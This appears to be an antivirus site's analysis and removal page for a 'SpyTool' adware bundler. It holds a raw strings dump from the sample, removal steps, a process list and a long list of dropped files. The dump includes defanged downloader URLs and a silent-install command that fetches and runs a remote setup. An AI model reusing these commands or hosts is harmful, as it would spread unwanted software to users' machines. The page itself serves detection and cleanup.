xxN4nnm%wwdEjj8Fjj3eNNokQQf6VVhiWWp{qqU`vvf^xxm$ww1t66q|WW2sSSRAooc_ww3UCCpfxx86jjefIIj!nndd66JLnnHkXXU}uuJH33czWWe}EEZvjjf!jj3!wwz_bb1Uoofq00t?mmHxVVz2wwK=NNCZSSBÝ1JjjwExxw1mmwA00b*WWvqLLaxmmvxHHJYbbx'XX5DvvHFNNPyvvf?HHR-mmK8qq20ooKaNNYrxxrTqqukccJnnn2pnncfllZ9oov`00wYmmmpxxOcWWwFbbE[nn2YxxYynnNWxxCjjj2Gggd/ooN~XXf_XXA,LL5|ppe$VVuECCN9uu3pwwKuVVY=vvH9NNM^uufBxxY\ppf7ggk@nnBJnneOSSG#XX57WW3dbbE2ll2fnnZ6CCf-66WVXXeBMM6<jjp}gg1[jjreVVVtmm2eUU4KWWAJooV~QQs%xxTZxxB!LLIFllHv33gHvvcSuuRSoox>eeH`SSHhddIAoosYnnpEttxxLL4mnnBKee6@ggfvllPzXXN ggR`CCHtnnr#ggHN00Y5XXd9ggoUttxn66lKwwr.wwP mmembbJTggwvFFZ_uuNnLLC*XXNBggjUxxw8MM29bb1e00gkSSr_qqByXXH*99Z mmJPlly=ooNOnnV kkwXttZ.oowMRRJHQQe2XXm_mm2=IIzAQQ2JIIC~ppx)ww6attB@EEBibbcHqqEMllf}00Igbbv[NNYZttG!MMBVXXcAqqHRyyJlddH%SS2dII6*nnJ[00AvnncknnNmSSB<66G}QQ2P11BayysQggVHSSr;qqkebbv=33N6ttG~MMB.nn2133Z5nnd?00Awnnx-99E-uuzawwE4uupuaaE>kkz8ttB$yys{ggVqSSrRqqo4bbcmgg1)QQJNxxAKttGzMMB[nnvv00A}nncnLLT/ttB|EEB)bbcfqqE{xxf8xxZiXXs\tt8wttK.xxE%nnsU66B`nncLllV"uuzKaaEnuuzdttYUbb2$00IuttB@EEB bbcKqqE;xxJ6xxAeSS2`NNT|QQBwtt8'ttG8eeYmuuGaaaBryysggg3RSScqXXR.ppcKLLrPuu24ttNqllvf33E0wwr\nntbnnH]ggZ7CCv7NNfZttG.MMBUWWc6aa6ebb4XLLmvwwem00apnnva00Y{mm4IlleaXX1JjjWdnnfGNN4Llleeaa2~ppe9nnTYwwrUXXgzSSNWddoZSSKVllAQQQ2plljJppc*NNo"bbxdqqLVbb2zVVu mmr&ddI=QQe_IIdzvvNneeJ8mmsQnnl8SSdrxxT>XX2H00h!QQKIddV2jjA LL4knnvp66A7llvj99VJjj30ttPVQQ1&9967mm1JRRxlggJ~llywQQp*lll~jjpuggL-XX1VUUEowwG*ee6 kkx1NNT#ppJ1SSJDmmd-jjzMSSp0SSVUuuJf0063QQfFllt'SS1Yddl9QQeZ66u7ll3,oo63ttp7HH1Kppv[NNhBSSBewwN7QQeR66ImxxB<ee59wwd[VVifmmcEXXqiWW2.66rZSSfRnnnwkkfBxxNrQQG6jj5EmmBvMMZ:vvwAddaoQQZxXXf6vvH&66NObbv*HH23jjHOqqBrSS1IjjHqppJ!XXe ppr$ddH&bb4nHH1Bvvw VVl{kkr]aaRDjjfyMM6@llZ0qqE!llGpggHbkkpDggM3ttcNbbH.uum7ll8ZuuK<aa2nmmzuggP{ggvFdd5 CCJ{ooN"vvcRHHH2SSv_FFPfkkxgXXz~mmejddWNbbvfLL2nXX4)NNs@ggzxVVciSS2 EEJyXXGdllrzWWJcddJqWWH{NNE3jjrHVVb4xxw)jjlNnncEbbA]mm15LLl9vvdcXXI~ggxUqqx)mmK`uuR6uuZ nnArll1@33VjmmdZaaR(XX4Lxxb^QQ4@XXPPjjHXNNlCbbAsgg0PADIbaTITEPpirZOnHnFaGxkrZKRyjvigiYrgNVepOmrxqoOteuCpbFOVqbevltNWygFkIcnsNspyOhlPVWoxgYWdGjVMXVUqmRrJOxZPzAhwsRHjlwhJyfiKEnkZ_jkF_TpEiisCwP(

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

: :$:(:,:0:4:

: :$:(:,:

< <$<(<,<

0 0$0(0,0*2

9Ÿ9

1 1$1(1,1014181

? ?$?(?,?0?4?8?<?

8094989<9

1%1U1}1

:!:/:4:<:|:

;!;1<_<5=

8‘9F9g9

0 0%0*0/040;0@0

;$;?;_;~;

0"141^1|1

2,2

6%7x7~7

6o6

8‘9F9

5d6@6~6

7Œ8p8

3%5U5

;);/;9;^;

2 2$2(2,2024282<2

2 2$2(2,2

:#;*;?;{;

9%:-:3:::

7 7$7(7,7

3(3,3034383

1 2'20292[7

7 7$7(7,7074787

0
0\0a0t0

0 0$0(0,000

6%7S7

14181<1@1

5 5$5(5,5054585<5@5

? ?$?(?,?0?4?8?<?@?

7 7$7,70787<7

:(:,:0:4:|:

:$:(:,:0:4:8:<:

> >$>(>,>0>

8,888@8`8

7(707<7`7

<$<,<8<\<|<

7$7,787\7|7

5 5(505<5`5

;$;0;4;<;

background-url

CB_DownloadAndExec

CB_NavOpenUrl

CB_OpenUrl

%s\Google\Chrome\Application\chrome.exe

\Mozilla Firefox\firefox.exe

\places.sqlite

\*.default

Firefox

Ncomctl32.dll

Ncomdlg32.dll

Nshell32.dll

%s (%s:%d)

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Advapi32.dll

accKeyboardShortcut

wuser32.dll

hhctrl.ocx

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

kernel32.dll

Nf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

dwmapi.dll

UxTheme.dll

eShell32.dll

%s:%x:%x:%x:%x

MFCLink_UrlPrefix

MFCLink_Url

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

%sMFCToolBar-%d%x

%sMFCToolBar-%d

%sMFCToolBarParameters

TOOLBAR_RESETKEYBAORD

KeyboardManager

MSG_CHECKEMPTYMINIFRAME

%sDockingManager-%d

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

&%d %s

VHex={X,X,X}

ShowCmd

%sMDIClientArea-%d

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleipfrm.cpp

%sBasePane-%d%x

%sBasePane-%d

WExecute

%sPane-%d%x

%sPane-%d

windows

N%sMFCOutlookBar-%d%x

%sMFCOutlookBar-%d

%c%d%c%s

RGB(%d, %d, %d)

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olestrm.cpp

%sDockablePaneAdapter-%d%x

%sDockablePaneAdapter-%d

ENABLE_KEYS

KEYS_MENU

KEYS

\RICHED20.DLL

\f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledrop2.cpp

%sMFCTasksPane-%d%x

%sMFCTasksPane-%d

mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

Invalid parameter or key doesn't exist.

Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.

%s-tmp

"%s" "%s"

%s has stopped working

Error launching CrashSender.exe

The operation was cancelled by client.

Couldn't launch CrashSender.exe process.

Couldn't set C   exception handlers for main execution thread.

Couldn't create crash report directory.

%s\CrashRpt\UnsentCrashReports\%s_%s

Local\CrashRptEvent_%s

Couldn't load dbghelp.dll.

crashrpt_lang.ini

CrashSender.exe is not found in the specified path.

CrashSender%d.exe

%s %s Error Report

The flag CR_INST_STORE_ZIP_ARCHIVES should be used with CR_INST_DONT_SEND_REPORT flag.

Invalid registry key or invalid destination file is specified.

The registry key coudn't be open.

Empty subkey is not allowed.

HKEY_CURRENT_USER\

HKEY_LOCAL_MACHINE\

SOFTWARE\Microsoft\Windows NT\CurrentVersion

%u.%u.%u.%u

Mozilla

Chrome

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

777705555443332

5555443332

5555443332

ydebug.txt

\%s\%s\%s

\Internet Explorer\iexplore.exe

install.bat

n.folder

%Program Files%\gmsd_re_005010082\gmsd_re_005010082.exe

nsc43.tmp_1632:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

... %d%%

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso46.tmp\nsDialogs.dll

\{92172C3C-7BCF-4DA3-8263-6617B13E897F}

culwo","installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso46.tmp\nsDialogs.dll

osoft/Windows/CurrentVersion/Uninstall/Kaspersky"

d":"vuupculwo","installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso46.tmp

n Data\Opera\Opera\operaprefs.ini

@.reloc

GetProcessHeap

comdlg32.dll

nsDialogs.dll

All Files|*.*

xml.dll

.?AVexecution_error@TinyXPath@@

Assertion failed: %s, file %s, line %d

zcÁ

0&171?1}1

6 6064686@6

/%s%s

/%s[%d]%s

c:\a\vc\nsis\xmldll\source\tinystr.h

&#xX;

tinyxml.cpp

<!--%s-->

</%s>

%s='%s'

%s="%s"

<![CDATA[%s]]>

standalone="%s"

encoding="%s"

version="%s"

sentinel.prev == &sentinel

sentinel.next == &sentinel

cursor.col >= -1

cursor.row >= -1

tinyxmlparser.cpp

strlen( entity[i].str ) == entity[i].strLength

c:\a\vc\nsis\xmldll\source\tinyxml.h

action_store.cpp

c:\a\vc\nsis\xmldll\source\node_set.h

c:\a\vc\nsis\xmldll\source\tokenlist.h

xml_util.cpp

xpath_processor.cpp

axis is a keyword

mscoree.dll

GetProcessWindowStation

user32.dll

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

GetCPInfo

q.ya!

%u X`i@

_$,ZS.db

o7.6.3

%STCD

0*%UP

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn47.tmp

nsn47.tmp

turl hXXp://sub.yorkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"

efs.js

elerated AMD PCNet Adapter - Packet Scheduler Miniport

{92172C3C-7BCF-4DA3-8263-6617B13E897F}

KLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall/Kaspersky"

172C3C-7BCF-4DA3-8263-6617B13E897F}

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc43.tmp

%Program Files%\AccessFromAnywhere

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

nsc43.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi45.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc43.tmp

1258947662

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz48.tmp

/silent /initurl hXXp://sub.yorkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"

hXXp://sub.spirlymo.com/installers/bi_downloader/1441577004706/setup.exe

-2080046701

-1777728450

-2063532032

-2147284440

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

!"#$%&'()* ,-./012345

nsc43.tmp_1632_rwx_10004000_00001000:

callback%d

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

nsb27.tmp:1920
nst20.tmp:1040
nsh37.tmp:1376
nss2A.tmp:1600
nss2A.tmp:228
gmsd_re_005010082.exe:436
tasklist.exe:1920
tasklist.exe:1068
setup.exe:268
nsn4.tmp:224
taskkill.exe:484
taskkill.exe:220
wmic.exe:1524
amisid.exe:224
amisid.exe:1228
nsp1D.tmp:1376
%original file name%.exe:1704
nsd3C.tmp:1776
nsd3C.tmp:848
2835.exe:792
encrypt.exe:644
encrypt.exe:1796
encrypt.exe:1900
encrypt.exe:1484
upgmsd_re_005010082.exe:380
nsd33.tmp:432
nskA.tmp:1676
nsc14.tmp:1452
Delete the original SpyTool file.
Delete or disinfect the following files created/modified by the SpyTool:

%Documents and Settings%\%current user%\Local Settings\Temp\nss2B.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss2A.tmp (7288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\Bundle_OperaRUnew[1].exe (7288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\checks.txt (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\thankyou[2].php (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\nsisos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\post_reply.htm (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\amisid.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx3B.tmp\Registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3A.tmp (6012 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn47.tmp (102710 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\xml.dll (2005 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\Math.dll (2489 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\modern-wizard.bmp (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[2].exe (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\Banner.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso46.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (3413 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz48.tmp (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\BiTool[1].dll (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\post_reply.htm (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\amisid.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\Registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\checks.txt (544 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn31.tmp (6085 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp\nsisos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\thankyou[1].php (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\Registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\checks.txt (544 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2D.tmp (6085 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2E.tmp\amisid.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082\gmsd_re_005010082\1.20\cnf.cyl (269 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\MyBrowser\MyBrowser.lnk (1 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\cs.pak (223 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\hi.pak (1712 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\es-419.pak (226 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome_elf.dll (125 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\libegl.dll (204 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sl.pak (211 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\VisualElements\splash-620x300.png (11 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\resources.pak (121304 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\da.pak (206 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\lv.pak (225 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\fa.pak (308 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sv.pak (207 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\lt.pak (221 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\fi.pak (213 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\pl.pak (220 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\el.pak (1667 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\id.pak (202 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe (5873 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\bg.pak (1640 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\mybrowser.exe (3869 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\delegate_execute.exe (12288 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome_100_percent.pak (7386 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\te.pak (1761 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\en-GB.pak (189 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sk.pak (229 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\fil.pak (228 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\PepperFlash\pepflashplayer.dll (122658 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\pt-PT.pak (222 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sr.pak (1610 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\mr.pak (1708 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\it.pak (220 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ko.pak (228 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome_child.dll (261193 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Extensions\external_extensions.json (103 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\zh-TW.pak (190 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\zh-CN.pak (187 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\libglesv2.dll (5442 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\master_preferences (814 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\uk.pak (1621 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome.dll (237340 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\nacl_irt_x86_32.nexe (15801 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\et.pak (201 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\he.pak (253 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\icudtl.dat (76792 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\nl.pak (216 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\wow_helper.exe (67 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\th.pak (1702 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\pt-BR.pak (217 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\en-US.pak (189 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\MyBrowser.lnk (1 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\chrome_200_percent.pak (7972 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ja.pak (266 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ml.pak (1826 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\bn.pak (1731 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\tr.pak (220 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\VisualElements\smalllogo.png (9 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\gu.pak (1705 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\hu.pak (235 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\chrmstp.exe (6841 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\VisualElements\logo.png (5 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\secondarytile.png (3 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\de.pak (224 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\sw.pak (208 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\fr.pak (239 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\metro_driver.dll (1765 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\vi.pak (247 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe (6841 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ta.pak (1784 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\libexif.dll (303 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\nacl_irt_x86_64.nexe (20507 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\nacl64.exe (12288 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ru.pak (1612 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\VisualElementsManifest.xml (392 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\nb.pak (206 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ms.pak (206 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\am.pak (302 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ar.pak (293 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\es.pak (230 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\chrome.7z (1161171 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\d3dcompiler_46.dll (22433 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\39.5.2171.95.manifest (222 bytes)
%Documents and Settings%\All Users\Desktop\MyBrowser.lnk (1 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\ffmpegsumo.dll (6337 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ca.pak (227 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\hr.pak (214 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\ro.pak (228 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\pdf.dll (67091 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\PepperFlash\manifest.json (2 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source268_21217\Chrome-bin\39.5.2171.95\Locales\kn.pak (1768 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu1B.tmp (7695 bytes)
